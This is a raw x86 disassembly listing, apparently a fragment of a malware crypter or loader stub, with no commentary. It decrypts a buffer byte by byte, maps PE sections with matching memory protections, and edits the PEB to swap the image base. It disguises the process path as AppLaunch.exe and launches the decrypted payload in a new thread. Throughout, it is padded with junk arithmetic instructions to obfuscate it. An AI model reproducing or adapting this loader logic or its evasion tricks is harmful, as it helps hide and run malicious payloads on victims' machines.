mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 7
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0x91
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0xf
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x6b
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 4
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 5
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 3
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xe3
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
add eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
xor eax, 0xffffffff
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx ecx, byte [ebp - 0x2c111]
xor eax, eax
sub eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
add eax, 0xf6
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 2
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sub eax, 0x48
mov byte [ebp - 0x2c111], al
movzx eax, byte [ebp - 0x2c111]
sar eax, 3
movzx ecx, byte [ebp - 0x2c111]
shl ecx, 5
or eax, ecx
mov byte [ebp - 0x2c111], al
mov ecx, dword [ebp - 0x2c110]
movzx eax, byte [ebp - 0x2c111]
sub eax, ecx
mov byte [ebp - 0x2c111], al
mov cl, byte [ebp - 0x2c111]
mov eax, dword [ebp - 0x2c110]
mov byte [ebp + eax - 0x2c109], cl
mov eax, dword [ebp - 0x2c110]
add eax, 1
mov dword [ebp - 0x2c110], eax
jmp 0x402075
mov dword [ebp - 0x2c11c], 0
mov eax, dword [ebp - 0x2c11c]
mov ecx, dword [ebp - 0x28e18]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x403d54
mov dword [ebp - 0x2c120], 0x40
mov eax, dword [ebp - 0x28e7c]
imul ecx, dword [ebp - 0x2c11c], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x2c124], eax
mov eax, dword [ebp - 0x2c124]
and eax, 0x40000000
cmp eax, 0
je 0x403c5b
mov eax, dword [ebp - 0x2c124]
and eax, 0x80000000
cmp eax, 0
je 0x403c5b
mov eax, dword [ebp - 0x2c124]
and eax, 0x20000000
cmp eax, 0
je 0x403c5b
mov dword [ebp - 0x2c120], 0x40
jmp 0x403cf6
mov eax, dword [ebp - 0x2c124]
and eax, 0x40000000
cmp eax, 0
je 0x403c92
mov eax, dword [ebp - 0x2c124]
and eax, 0x80000000
cmp eax, 0
je 0x403c92
mov dword [ebp - 0x2c120], 4
jmp 0x403cf1
mov eax, dword [ebp - 0x2c124]
and eax, 0x40000000
cmp eax, 0
je 0x403cc9
mov eax, dword [ebp - 0x2c124]
and eax, 0x20000000
cmp eax, 0
je 0x403cc9
mov dword [ebp - 0x2c120], 0x20
jmp 0x403cec
mov eax, dword [ebp - 0x2c124]
and eax, 0x40000000
cmp eax, 0
je 0x403ce7
mov dword [ebp - 0x2c120], 2
jmp 0x403cec
jmp 0x403cf1
jmp 0x403cf6
mov ecx, dword [ebp - 0x2c120]
mov eax, dword [ebp - 0x28e7c]
imul edx, dword [ebp - 0x2c11c], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x28e78]
mov eax, dword [ebp - 0x28e7c]
imul edi, dword [ebp - 0x2c11c], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x2c118]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.004012c0
mov eax, dword [ebp - 0x2c11c]
add eax, 1
mov dword [ebp - 0x2c11c], eax
jmp 0x403bd6
rol esi, 0xeb
bswap edx
inc eax
dec edx
bswap esi
not esi
neg eax
or eax, 0x53
rol esi, 0x5d
bswap edx
mov ebx, 0x38
bswap edi
neg esi
dec esi
rol edi, 0x7a
rcr ebx, 0xf2
neg esi
rcr eax, 0x3e
bswap edi
imul edi
neg edi
ror eax, 0xa5
bswap ebx
sub eax, 0x2b
neg esi
rol edi, 0x6a
neg eax
ror edi, 0x21
and esi, 0x86
ror esi, 0x3a
imul esi
inc edx
bswap edi
bswap edi
or esi, 0x5c
rcl edi, 0x82
not edi
ror ebx, 0xf7
not edx
sub edx, 0xab
add esi, 0x26
bswap ebx
or ebx, 0xef
and esi, 0x4f
rol esi, 0xaa
or esi, 0x88
neg eax
bswap edi
rcr esi, 0x8a
or ebx, 0x13
imul ebx
rol eax, 0x3d
ror esi, 0x90
ror eax, 0xa0
imul edi
ror esi, 0x7e
bswap ebx
dec esi
ror esi, 0xef
sbb eax, 0x14
neg edx
or edx, 0x14
neg eax
ror eax, 0x5f
inc ebx
dec esi
ror ebx, 0xd0
dec edi
rol esi, 0xb0
dec esi
sub ebx, 0x88
and ebx, 0xb4
inc eax
dec edi
mov eax, 0x80
bswap eax
ror edi, 0xcd
bswap edx
and ebx, 0x92
bswap edx
and eax, 0x96
imul eax
mov eax, 0xa5
dec edx
ror edi, 0x6c
not edi
neg ebx
imul esi
mov esi, 0xa5
neg edx
imul edi
inc eax
not eax
inc edi
ror eax, 0xd3
and esi, 0x74
mov edx, 0xa1
inc eax
neg edi
imul edx
or edx, 0x5b
not eax
imul edi
rcr edx, 0xc3
sub eax, 0x41
not ebx
rcl esi, 0xdb
and edi, 0xb0
ror eax, 0x14
not esi
and esi, 0x75
inc ebx
rol edx, 0x7a
not esi
ror edx, 0x48
dec edi
rcl edi, 0x24
rcr eax, 3
or edi, 0x1c
and eax, 0x5a
sub esi, 0x11
rcl esi, 0x97
ror eax, 0xdc
imul ebx
neg eax
add eax, 0x40
dec eax
bswap eax
rol esi, 0xc2
imul eax
inc edi
rcl edi, 0x35
sbb esi, 0x49
neg eax
add eax, 0x73
dec edx
sbb edi, 0x2e
dec eax
rcl edx, 0xe4
inc edi
not edx
bswap edx
sbb esi, 0x4e
rol ebx, 0x15
not edx
or edx, 0x51
bswap eax
add edx, 0xf2
or edx, 0xfb
rcr edi, 0x72
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x2c128], eax
mov eax, dword [ebp - 0x2c128]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x2c12c], eax
mov eax, dword [ebp - 0x2c12c]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x2c130], eax
dec esi
dec eax
neg edx
neg esi
ror ebx, 0x7a
rcl eax, 0xae
mov eax, 0xf8
or edx, 0xd4
rcl edx, 0x5e
neg esi
and esi, 0xeb
dec ebx
neg edx
or edi, 0xa
neg esi
inc esi
sbb ebx, 0xb4
rol edx, 0x47
sub esi, 0x7f
not edi
mov ebx, 0x54
rol esi, 0xe3
or edx, 0xef
bswap edx
rcr edx, 0xd6
rcl edi, 0x8f
sub ebx, 0xe0
sbb ebx, 0xec
inc eax
or ebx, 0xa9
rcl edi, 0x78
imul edx
neg edi
bswap esi
rcl edx, 0x14
not esi
ror esi, 0xf5
rol ebx, 0x9d
inc ebx
or edx, 0x9a
or edx, 0xc3
inc eax
sbb eax, 0x7b
not edi
bswap edx
bswap edx
neg eax
dec eax
or edx, 0x73
rol edi, 9
rcl esi, 0xfc
and edx, 0xf3
ror edx, 0x60
mov ebx, 0x45
not esi
rcr ebx, 0x89
and eax, 0x27
sbb edi, 0x3b
bswap edi
bswap ebx
imul edi
rol edx, 0xd6
rcr edx, 0x20
inc edx
or edi, 0xbd
or edi, 0x95
neg edx
not edi
bswap edi
ror edx, 0xf4
imul eax
and edi, 0x9b
inc ebx
not edx
sbb edx, 0x5b
bswap edi
bswap edi
bswap edx
imul esi
not ebx
and ebx, 0xeb
bswap esi
rol edi, 0xbd
ror esi, 1
inc ebx
rol esi, 0xac
rcl esi, 0xf6
inc edx
neg edi
and esi, 0xa
dec edx
or eax, 0xd6
imul esi
and esi, 0x53
and ebx, 0x45
inc eax
sub eax, 0xa9
inc edi
inc edi
or eax, 0x10
add edx, 0x3f
inc edx
bswap edi
imul edi
sub eax, 0xff
imul ebx
dec edi
mov edi, 0x6d
add esi, 0x9e
sbb eax, 0x5f
neg edi
add edx, 2
imul ebx
or eax, 0x5f
and esi, 0xfd
not eax
dec ebx
not edi
and edx, 0x4f
dec edi
dec eax
imul esi
or eax, 0xf5
and eax, 0x9f
imul eax
bswap edi
rcr eax, 0xea
rcl edx, 0xa1
sub edx, 0xc8
imul edi
rcl edx, 0xc7
sbb edi, 0x21
inc esi
dec esi
neg edx
sub edi, 0xc3
bswap eax
ror esi, 0xc4
sbb edi, 0xb5
bswap edx
inc ebx
not edi
imul esi
and ebx, 0x15
sbb ebx, 0x22
and ebx, 0x18
sbb ebx, 0x1f
mov ebx, 0x18
or esi, 0x4a
sbb edx, 0x52
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x28e78]
mov eax, dword [ebp - 0x2c128]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x28e78]
mov eax, dword [ebp - 0x2c130]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x2c130]
add eax, 0x24
mov dword [ebp - 0x2c134], eax
not eax
rcr eax, 0x24
and edx, 0xa1
bswap ebx
sub edx, 0x2d
rcl ebx, 0xd0
imul esi
mov esi, 0x72
sbb eax, 0x5d
sbb edx, 0x69
and ebx, 0xaa
dec esi
add esi, 0x2e
bswap ebx
dec esi
neg esi
imul esi
or eax, 0x9c
rcl ebx, 6
rol edi, 0
neg edx
rcr esi, 0x95
and ebx, 0xb8
not edx
sbb edi, 0xa
and esi, 0x5d
bswap edi
or ebx, 0xd9
dec esi
rol esi, 0xf4
rol eax, 0x2c
dec ebx
or edx, 0x2a
rcr esi, 0xc7
dec edx
inc esi
bswap ebx
mov ebx, 0x87
bswap esi
mov eax, 0xd3
neg edi
dec esi
ror edx, 0xf0
imul edi
ror edx, 0xdd
rol edi, 0xf4
neg eax
imul edx
dec esi
add eax, 0xc1
imul esi
dec esi
neg ebx
sbb eax, 0xc7
sub edi, 0x9a
rcr eax, 0x26
sub ebx, 0xdd
and esi, 0xe8
sbb edx, 0x52
mov esi, 7
dec ebx
ror edx, 0x7e
and edi, 0x6b
add esi, 0xb6
or edi, 0xdc
inc edx
inc edx
dec ebx
rol eax, 0x68
or ebx, 0xc4
dec eax
add edi, 0x76
rol eax, 0x76
or esi, 0x5f
neg edi
and eax, 0xab
ror edx, 0x59
neg eax
bswap edx
or esi, 0xec
add edi, 0xe3
rcr esi, 0xf8
bswap ebx
rol edx, 0xa2
sub edi, 0xd2
or eax, 9
inc edi
dec edx
mov edx, 0x7f
mov edx, 0x18
sub ebx, 0x3f
or edi, 0xa
imul edi
and edi, 0x5f
bswap edi
rcl edi, 0xfc
neg edi
ror edx, 0xd0
not ebx
mov edx, 0x7f
not ebx
rcl eax, 0x26
imul edi
not edi
or ebx, 0xef
sub edx, 0xf9
sub esi, 0xba
bswap eax
imul esi
bswap edx
ror edx, 0x94
mov eax, 0x68
sbb edx, 0xf6
imul esi
mov edx, 0x99
bswap eax
imul esi
rcr edi, 0x6f
inc eax
dec esi
neg ebx
and eax, 8
not edx
inc eax
not ebx
mov edi, 0xf9
mov edi, 0xf0
mov ebx, 0x95
sbb edx, 0x8b
bswap edx
mov ebx, 0x25
or esi, 0x95
and ebx, 0x2f
neg ebx
dec eax
not eax
rcl edi, 0xa2
not ebx
not ebx
mov esi, 0x30
dec ebx
or edx, 0xc9
not edi
mov ebx, 0x6b
neg esi
sbb eax, 0x2f
bswap eax
rcr eax, 0x34
dec esi
inc edx
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x2c1ac]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.004052d0
mov eax, dword [ebp - 0x28e18]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x2c1ad], al
test byte [ebp - 0x2c1ad], 1
je 0x404344
mov eax, dword [ebp - 0x2c134]
mov ecx, dword [eax]
mov dword [ebp - 0x2c1b8], ecx
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c1b4], eax
lea ecx, [ebp - 0x2c1ac]
mov eax, dword [ebp - 0x2c134]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x2c1ac]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x2c134]
mov word [eax], cx
inc eax
sbb eax, 0x12
and eax, 0xb4
and eax, 0x78
dec ebx
inc ebx
not eax
inc ebx
imul edi
add edi, 2
ror edi, 0x4e
rcl edi, 0xcc
ror edx, 0x24
not ebx
not eax
rol eax, 0xf3
bswap ebx
neg edi
neg ebx
rol eax, 0xb7
not esi
or ebx, 0xc4
or eax, 0x43
or eax, 0x96
sub ebx, 0x14
or ebx, 0x3b
neg ebx
bswap edi
neg eax
sub ebx, 0x6b
rcl edi, 0x5c
not esi
rcr ebx, 0x3b
or edx, 0x48
not eax
add eax, 0x30
sbb edx, 0x45
rcl eax, 0x80
or edx, 0xfe
or ebx, 0x75
neg edx
mov eax, 0x4d
bswap eax
imul ebx
not esi
add eax, 0x32
add ebx, 0x80
ror edi, 0x2e
sub edi, 0x1f
rcl eax, 0xab
rol edx, 0x2a
sub esi, 0xc2
or ebx, 7
rcr ebx, 0x7e
rcl edi, 0x1c
dec ebx
dec ebx
neg edi
not esi
dec ebx
rcr ebx, 0xaa
add ebx, 0xfd
or edx, 0xd7
imul esi
or edi, 0x84
imul edx
ror esi, 0x85
bswap ebx
inc ebx
not edi
ror ebx, 0x95
rol esi, 0x4f
neg edx
ror edx, 0xb
rol esi, 0xb7
sbb edi, 0x61
not eax
not ebx
neg edi
sub edx, 0xe7
dec eax
ror eax, 0x42
and eax, 0x44
rcl edx, 0x17
and eax, 0x30
not edx
rcr eax, 0x2b
or ebx, 0x79
bswap edx
not edi
not esi
inc eax
sub edx, 0xc
rol edx, 0x76
neg edx
dec edi
inc edi
bswap ebx
not ebx
rol eax, 0x1f
rcl eax, 0x16
not ebx
sbb edi, 0x67
rcl esi, 0xe
add eax, 0x1d
sbb edx, 0xb8
bswap eax
rcr edi, 0x8a
rol ebx, 0xf9
dec edx
or edx, 0x5c
dec ebx
rol edx, 0x9c
rcl eax, 0xc9
or edi, 0x7e
dec eax
ror ebx, 6
imul edx
neg ebx
and ebx, 0x46
imul esi
dec edi
bswap eax
sbb esi, 0x82
or edx, 0x4e
inc esi
neg edi
dec esi
add eax, 0x43
and esi, 0x4b
sbb eax, 0xc7
or edx, 0xad
inc esi
sub edx, 0x7c
imul esi
dec eax
add edx, 0x39
rcr ebx, 0xf9
imul edi
rol edi, 0xdd
not esi
add edi, 9
and esi, 0xef
imul edi
rol ebx, 0xb6
imul ebx
bswap ebx
rol esi, 0x30
neg ebx
add eax, 0x39
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28e78]
mov ecx, dword [ebp - 0x28e18]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x2c1bc], eax
test byte [ebp - 0x2c1ad], 1
je 0x40455c
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov eax, dword [ebp - 0x2c134]
mov ecx, dword [ebp - 0x2c1b8]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x2c1b4]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x2c1bc]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
rcl edx, 0x78
not edx
sbb esi, 0x75
bswap edx
neg edx
or esi, 0xf4
rol edi, 0x35
mov ebx, 0x2f
not edx
or edi, 0x85
rcr eax, 0xe4
neg edx
rol esi, 0x98
imul esi
sbb ebx, 0xdf
bswap edi
dec ebx
and edi, 0xd6
ror ebx, 0x3c
rcr edx, 0x79
rcl edx, 0x4d
add eax, 0xc8
bswap esi
dec edx
dec eax
dec eax
neg esi
imul esi
not ebx
or edi, 0x77
dec ebx
add ebx, 0x29
add edi, 0x52
dec edi
sbb eax, 0xf0
sbb esi, 0x61
inc esi
inc edx
inc ebx
not edi
neg ebx
dec ebx
rcl esi, 0x76
bswap esi
or esi, 0xe4
neg edx
dec esi
bswap eax
or edx, 0x82
rcl edi, 0xab
add ebx, 0x6c
mov edx, 0x42
rcl esi, 0x99
bswap eax
rol ebx, 0xb2
mov edx, 0x2f
ror ebx, 0x2c
or edx, 0x98
neg edx
rol edx, 0xda
inc edi
sub esi, 0xe1
inc ebx
imul eax
rcl eax, 0x62
rcl edi, 0x1b
rol ebx, 0xb5
mov ebx, 0xf4
add edi, 0x6e
sub eax, 0xa8
imul ebx
neg edx
dec eax
and esi, 0x58
bswap ebx
mov edi, 0xdf
or edx, 0xc7
and ebx, 0x83
not eax
inc ebx
or ebx, 0x32
neg edx
and esi, 0xaf
inc ebx
imul edi
rcl eax, 0xbb
add eax, 0xe0
mov eax, 0x9e
neg ebx
sbb edi, 0xd4
neg ebx
inc eax
or eax, 0x86
sbb esi, 0x89
sbb edx, 0x18
sbb ebx, 0xc3
and edi, 0xba
or esi, 0xc1
not eax
rol edx, 0x5d
rcr ebx, 0xb1
ror ebx, 8
dec edx
dec esi
imul edx
or eax, 0xb9
not ebx
sub edi, 0x77
rcr eax, 0x90
dec edx
ror edx, 0xda
rol eax, 0xed
ror eax, 0x1e
inc edx
rol ebx, 0x62
not eax
rol eax, 0x7b
rcl edi, 0x4c
rcr edi, 0x8d
sbb eax, 0x21
add esi, 0x1b
dec ebx
not eax
imul eax
bswap ebx
sbb edi, 0xe7
dec esi
not ebx
imul esi
or esi, 0x7b
neg eax
imul ebx
neg edi
or edx, 0xcc
rol ebx, 0x50
rol edx, 0x9c
add eax, 0x97
not edx
inc edx
or edi, 0x44
inc eax
mov esi, 0xfd
neg edi
mov edx, 0xe8
not edi
inc esi
sbb ebx, 0x75
not ebx
sub edi, 0x88
not edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x2c1d0
pop esi
pop edi
pop ebx
pop ebp
ret